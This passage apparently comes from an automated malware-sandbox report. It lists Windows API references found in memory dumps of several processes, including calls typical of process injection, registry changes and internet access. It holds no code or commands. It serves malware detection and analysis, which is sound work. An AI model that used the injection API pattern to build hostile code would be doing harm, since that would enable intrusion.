reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00003916.00000000.68790.00FAC000.00000004.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00003916.00000000.68790.00FAC000.00000004.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00003916.00000000.68790.00FAC000.00000004.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "CopyFileA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetSidIdentifierAuthority"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthority"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "InternetConnectA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "CopyFileA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetSidIdentifierAuthority"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthority"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "InternetConnectA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API 